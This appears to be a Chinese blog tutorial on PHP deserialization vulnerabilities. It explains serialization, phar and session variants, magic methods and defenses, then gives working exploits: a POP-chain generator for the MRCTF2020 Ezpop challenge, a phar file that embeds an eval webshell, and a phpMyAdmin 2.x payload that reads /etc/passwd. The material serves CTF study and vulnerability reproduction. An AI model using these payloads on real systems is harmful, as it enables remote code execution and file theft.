• PHP代码审计12—反序列化漏洞


    一、PHP反序列化漏洞基础

    1、序列化与反序列化

    序列化与反序列化是为了解决 PHP 对象传递的一个问题,因为 PHP 文件在执行结束以后就会将对象销毁,那么如果下次有一个页面恰好要用到刚刚销毁的对象就会束手无策,于是就有了一种能长久保存对象的方法—— PHP 的序列化,这样当我们下次要用的时候只要反序列化一下就可以了。序列化的目的是方便数据的传输和存储,. json 是为了传递数据的方便性.。

    1)序列化

    概念: 把复杂的数据类型压缩到一个字符串中 数据类型可以是数组,字符串,对象等
    序列化一个对象将会保存对象的所有变量,但是不会保存对象的方法,只会保存类的名字。

    使用函数: serialize()

    示例:

    //示例代码
    class people{
        public $name = 'sam';  
        private $sex = 'man';  
        protected $age = '20';
    }
    $people1 = new people();
    $object = serialize($people);
    print_r($object);
    //输出结果:
    O:6:"people":3:{s:4:"name";s:3:"sam";s:11:" people sex";s:3:"man";s:6:" * age";s:2:"20";}
    //结果解析
    O表示序列化的一个类,如果此位置是A表示序列化的一个数组
    6表示类名长度
    people表示类名
    3表示类中的属性个数
    s:4:"name";s:3:"sam";表示第一个键值对的键名为name长度为4,键值为sam长度为3,都是string类型,后面类似,都是两两为一个键值对
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17

    2)反序列化

    概念:反序列化就是讲序列化的数据转换为数组或者类,是序列化的逆向操作

    使用函数: unserialize( )

    示例:

    //POST输入:  ‘O:6:"people":3:{s:4:"name";s:3:"sam";s:11:" people sex";s:3:"man";s:6:" * age";s:2:"20";}’
    $obj=$_POST[ser];
    $class=unserialize($obd);
    var_dump($calss);
    //输出结果:
    { ["name"]=> string(3) "sam" ["sex":"people":private]=> string(3) "man" ["age":protected]=> string(2) "20" }
    //结果说明:
    对于序列化后的数据,private属性的对象会在前后加空格或者带上其所在的类名怎加一区分,对于protected属性需要加" * "来进行区分,而pubic属性的的对象则无需任何操作。
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8

    3)反序列化漏洞

    原理: 当进行反序列化的时候这个字符串可控,并且又没有进行过滤,那么就可能存在反序列化漏洞。

    通过上面的序列化和反序列化例子,我们可以知道:

    • 在反序列化的时候,如果这个字符串可控,我们就可以让它反序列化出代码中任意一个类对象,并且类对象的属性是可控的。
    • 同事如果类的方法被调用时(自动/手动)使用了自己成员属性的值,那么这个方法的执行结果我们就可控,所以就造成了反序列化漏洞的存在。

    2、反序列化漏洞类型

    常见的反序列化漏洞包含以下三种:

    • 原生反序列化

      即使用serialize()unserialize()导致的反序列化漏洞。
      
      • 1
    • phar反序列化

      基本概念:phar反序列化即在文件系统函数(file_exists()is_dir()等)参数可控的情况下,配合phar://伪协议,可以不依赖unserialize()直接进行反序列化操作。
      原理:
      phar文件的格式由四部分组成,分别是 stub、maniftaet、contents和signature四部分。
      phar文件本质上是一种压缩文件,其中每个被压缩文件的权限、属性等信息都放在maniftaet部分。这部分还会以序列化的形式存储用户自定义的meta-data,这就是phar反序列化漏洞的核心所在。
      利用条件:
       1、phar文件能够上传到服务器端
       2、有可以利用的魔术方法作为跳板
       3、文件操作参数可控即"/""phar"等特殊字符没有被过滤
      常见的引起phar反序列化的函数:
      file_exists(),file(),unlink(),is_file(),file_get_contents(),is_dir(),copy(),readfile(),fopen()等等。
      
      • 1
      • 2
      • 3
      • 4
      • 5
      • 6
      • 7
      • 8
      • 9
      • 10
    • Session反序列化

      PHP session反序列化漏洞,就是当【序列化存储Session数据】与【反序列化读取Session数据】的方式不同导致session反序列化漏洞的产生
      
      • 1

    3、常见的一些魔法函数

    上面有提到自动调用的方法, PHP里叫做魔术方法,不光PHP有,其他的语言也有,比如在C++里有构造函数和析构函数,对应着PHP的__construct__destruct。除了这里写的魔术方法,PHP还有其他魔术方法,会在某些特定情况下被自动调用。如果我们在进行反序列化的时候,对应的类中存在能够自动调用的魔术方法,那么我们就可以去构造序列化数据,从而让其自动执行代码。对于PHP来说,常见的魔术方法如下:

    • 构造函数:__construct(): 对象被实例化的时候,也就是进行序列化的时候自动调用。
    • 析构函数:__destruct(): 对象被销毁前自动调用。
    • __set(key,value): 给类的私有属性赋值时自动调用。
    • __get($key): 获取类的私有属性时自动调用。
    • __isset($key): 外部使用isset()函数检测这个类的私有属性时,自动调用。
    • __unset($key): 外部使用unset()函数删除这个类的私有属性时,自动调用。
    • __clone: 当使用clone关键字,克隆对象时,自动调用。
    • __tostring(): 当使用echo等输出语句,直接打印对象时自动调用,例如上面那个代码中的echo $searialized其实就会调用这个魔术方法。
    • __sleep(): 把对象实例化成字符串的时候自动调用(上面的示例中有)
    • __wakeup(): 把字符串反序列化成对象时,会优先调用自动调用。

    4、漏洞利用与防御

    1)漏洞利用

    低于反序列化漏洞来说,要进行利用,需要构造POP利用链,这是一个相对复杂的烧脑的问题,因为我们要深入的理解发序列化后的代码调用逻辑,然后反向推理构造。最后尝试执行系统命令或代码。具体的利用思路需要我们平时多练习多刷题,然后才能在实际情况中构造好的利用链进行利用。关于利用方法,可以参考文末的参考链接。

    2)漏洞防御

    对于PHP发序列化漏洞防御,主要考虑一下方法:

    • 签名与认证
    如果序列化的内容没有用户可控参数,仅仅是服务端存储和应用,则可以通过签名认证,来避免应用接受黑客的异常输入。   
    
    • 1
    • 限制序列化与反序列化的类
     增加一层序列化和反序列化接口类。这就相当于允许提供了一个白名单的过滤:只允许某些类可以被反序列化。只要你在反序列化的过程中,避免接受处理任何类型(包括类成员中的接口、泛型等),黑客其实很难控制应用反序列化过程中所使用的类,也就没有办法构造出调用链,自然也就很难利用反序列化漏洞了
    
    • 1
    • RASP检测
    (Runtime Application Self-Protection,实时程序自我保护)。RASP 通过 hook 等方式,在这些关键函数(例如:序列化,反序列化)的调用中,增加一道规则的检测。这个规则会判断应用是否执行了非应用本身的逻辑,能够在不修改代码的情况下对反序列化漏洞攻击实现拦截.
    
    • 1

    二、MRCTF2020-Ezpop 分析与利用

    先看源码:

    Welcome to index.php
    <?php
    //flag is in flag.php
    class Modifier {
        protected  $var;
        public function append($value){
            include($value);//这里的include函数,可以让我们来进行php伪协议,这里是第一个突破口。
        }
        public function __invoke(){//以调用函数的方式调用一个对象时触发此方法
            $this->append($this->var);
        }
    }
    class Show{
        public $source;
        public $str;
        public function __construct($file='index.php'){
            $this->source = $file;
            echo 'Welcome to '.$this->source."
    "
    ; } public function __toString(){//在一个对象被当作一个字符串使用时调用,当echo一个对象时会自动触发这个方法。 return $this->str->source; } public function __wakeup(){ if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->source)) {//使用了黑名单过滤了一下http协议的东西,但是不影响咱们的php伪协议。 echo "hacker"; $this->source = "index.php"; } } } class Test{ public $p; public function __construct(){ $this->p = array(); } public function __get($key){ $function = $this->p;//get方法用来返回$function,然后$function的值是$this->p,这里将Modifier成为了函数 return $function(); } } if(isset($_GET['pop'])){//get方法传参pop,然后反序列化 @unserialize($_GET['pop']); }else{ $a=new Show; highlight_file(__FILE__); }
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21
    • 22
    • 23
    • 24
    • 25
    • 26
    • 27
    • 28
    • 29
    • 30
    • 31
    • 32
    • 33
    • 34
    • 35
    • 36
    • 37
    • 38
    • 39
    • 40
    • 41
    • 42
    • 43
    • 44
    • 45

    所以我们可以知道,漏洞点在include($value);,我们可以构造$value=php:// =php://filter/read=convert.base64-encode/resource=flag.php 来读取flag文件。

    然后我们在传入一个POP参数的时候,会自动在进行反序列化是会需要先调用 Show类的_wakeup()魔术方法。 该方法简单了做了过滤,但是并不影响我们使用php伪协议。

    如果__toString()其中str赋值为一个实例化的Test类,那么其类不含有source属性,所以会调用Test中的_get()方法。

    如果_get()中的p赋值为Modifier类,那么相当于Modifier类被当作函数处理,所以会调用Modifier类中的_invoke()方法。

    利用文件包含,就能使用_invoke()读取flag.php的内容。

    所以完整你POP链为:

    Modifier::__invoke()<--Test::__get()<--Show::__toString()
    
    • 1

    构造exp:

    
    class Modifier {
        protected  $var='php://filter/read=convert.base64-encode/resource=flag.php';  
    }
    class Show{
      public $source;
      public $str;
      public function __construct($file){
        $this->source = $file;
      }
      public function __toString(){
        return " ";//触发get()
      }
    }
    class Test{
      public $p;
    }
    $a= new Show('a');
    $a->str = new Test(); //触发toString()
    $a->str->p=new Modifier();//触发invoke()
    $b=new Show($a);
    echo serialize($b);
    ?>
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21
    • 22
    • 23

    得到序列化数据:

    O:4:"Show":2:{s:6:"source";O:4:"Show":2:{s:6:"source";s:1:"a";s:3:"str";O:4:"Test":1:{s:1:"p";O:8:"Modifier":1:{s:6:"*var";s:57:"php://filter/read=convert.base64-encode/resource=flag.php";}}}s:3:"str";N;}
    
    • 1

    然后通过POP传入,得到base64编码后的flag:

    在这里插入图片描述

    解码后的情况:

    在这里插入图片描述

    三、Phar反序列化例题分析

    这是一个比较简单的例题,源码如下:

     
    if(isset($_GET['filename'])){
        $filename = $_GET['filename'];
        class MyClass{
            var $Output = 'echo "hahaha"';
            function __destruct(){
                // TODO: Implement __destruct() method.
                eval($this->Output);
            }
        }
        file_exists($filename);
    }else{
        highlight_file(__FILE__);
    }
    
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15

    可以看到,我们这里使用了 file_exists($filename)来判断传入的文件名是否存在,并且定义了一个Mycalss类,其中有可用的魔法函数 __destruct()。所以就导致了Phar反序列化漏洞的存在。

    所以这里就需要构造Phar文件进行利用,构造思路如下:

    定义一个Mycalss类,设置$Output为$_GET['cmd'],然后实例化这个类,写入phar文件的maniftaet 部分,然后上传文件,并访问?myClass.php?filename=poc.phar&cmd=phpinfo()
    
    • 1

    生成phar文件的代码如下:

    
    class MyClass{
        var $output = '@eval($_GET[cmd]);';
    }
    $o = new MyClass();
    $filename = 'poc.phar';// 后缀必须为phar,否则程序无法运行
    file_exists($filename) ? unlink($filename) : null;
    $phar=new Phar($filename);
    $phar->startBuffering();
    $phar->setStub("GIF89a");
    $phar->setMetadata($o);
    $phar->addFromString("foo.txt","bar");
    $phar->stopBuffering();
    ?>
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14

    生成的phar文件:

    在这里插入图片描述

    上传到服务端后,访问filename=phar://poc.phar&cmd=phpinfo();

    在这里插入图片描述

    四、PHPmyadmin 2.x 反序列化漏洞复现与分析

    首先我们来看看payload:

    POST /scripts/setup.php
    .....
    action=test&configuration=O:10:"PMA_Config":1:{s:6:"source",s:11:"/etc/passwd";}
    
    • 1
    • 2
    • 3

    可以从Payload中看到,我们产生漏洞的类为PMA_Config类,漏洞参数为source。

    我们进入该文件中看看:

    if (isset($_POST['action'])) {
        $action = $_POST['action'];
    } else {
        $action = '';
    }
    if (isset($_POST['configuration']) && $action != 'clear' ) {
        // Grab previous configuration, if it should not be cleared
        $configuration = unserialize($_POST['configuration']);
    } else {
        // Start with empty configuration
        $configuration = array();
    }
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12

    可以看到,在传入configuration,使用了unserialize()函数进行反序列化,所以我们就需要找到可以利用的魔法函数,在包含的文件的类中查找,发现在文件开头,创建了一个 PMA_Config()类的实例化对象,我们找到这个类看看:

    //file: libraries/Config.class.php
    class PMA_Config
    {
        var $default_source = './libraries/config.default.php';
        var $settings = array();
        var $source = '';
        var $source_mtime = 0;
        var $error_config_file = false;
        var $error_config_default_file = false;
        var $error_pma_uri = false;
        var $default_server = array();
        var $done = false;
        function __construct($source = null){
            $this->settings = array();
            $this->load($source);
            $this->checkSystem();
            $this->checkIsHttps();
        }
        function checkSystem(){
       		......
       	}
      ......
    	function __wakeup() {
            if ( $this->source_mtime !== filemtime($this->getSource())
              || $this->error_config_file || $this->error_config_default_file ) {
                $this->settings = array();
                $this->load($this->getSource());
                $this->checkSystem();
            }
            $this->checkIsHttps();
            $this->checkCollationConnection();
        }
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21
    • 22
    • 23
    • 24
    • 25
    • 26
    • 27
    • 28
    • 29
    • 30
    • 31
    • 32

    可以看到,在这个类中,定义了魔法函数__construct__wakeup(),在进行反序列化的时候,就会进行调用__wakeup() 然后调用了getSource()和load()函数。我们先看getSource函数:

    function getSource() {
            return $this->source;
        }
    
    • 1
    • 2
    • 3

    可以看到,就是将类中的source的值返回,然后使用load函数进行调用:

    function load($source = null)
        {
            $this->loadDefaults();  //调用类中的loadDefault方法判断default_source文件是否存在
            if ( null !== $source ) {//如果source不为空,则调用setSource方法使用trim对source首尾去空。
                $this->setSource($source); 
            }
            if ( ! $this->checkConfigSource() ) {
                return false;
            }
            $cfg = array();
            $old_error_reporting = error_reporting(0);
            if ( function_exists('file_get_contents') ) {
                $eval_result =
                    eval( '?>' . file_get_contents($this->getSource()) ); //调用getSource函数,然后对返回值使用file_get_contents打开,最终使用eval执行。
            } else {
                $eval_result =
                    eval( '?>' . implode('\n', file($this->getSource())) );
            }
            error_reporting($old_error_reporting);
            if ( $eval_result === false ) {
                $this->error_config_file = true;
            } else  {
                $this->error_config_file = false;
                $this->source_mtime = filemtime($this->getSource());
            }
            if ( ! empty( $_COOKIE['pma_collation_connection'] ) ) {
                $this->set('collation_connection',
                    strip_tags($_COOKIE['pma_collation_connection']) );
            } else {
                $this->set('collation_connection',
                    $this->get('DefaultConnectionCollation') );
            }
            $this->checkCollationConnection();
            $this->settings = PMA_array_merge_recursive($this->settings, $cfg);
            return true;
        }
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21
    • 22
    • 23
    • 24
    • 25
    • 26
    • 27
    • 28
    • 29
    • 30
    • 31
    • 32
    • 33
    • 34
    • 35
    • 36

    由于我们的序列化数据可控,所以我们可以修改定义source的内容,然后在进行反序列化的时候调用__wakeup() 函数,从而使用file_get_content()函数获取文件内容。

    复现结果:

    在这里插入图片描述

    五、参考链接

  • 相关阅读:
    Node.js之TCP(net)
    【Axure教程】拖拉拽移动地图
    MySql取最近七天的日期字符串
    【考研】数据结构考点——直接选择排序
    Bert语言大模型基础
    看完这篇 教你玩转渗透测试靶机Vulnhub——Bluemoon: 2021
    Linux-信号2
    ubuntu16.04下thrift安装及遇到的问题
    稍微有点坑的bfs
    上门服务小程序系统|多元化服务和高效便捷的服务体验
  • 原文地址:https://blog.csdn.net/qq_45590334/article/details/126247033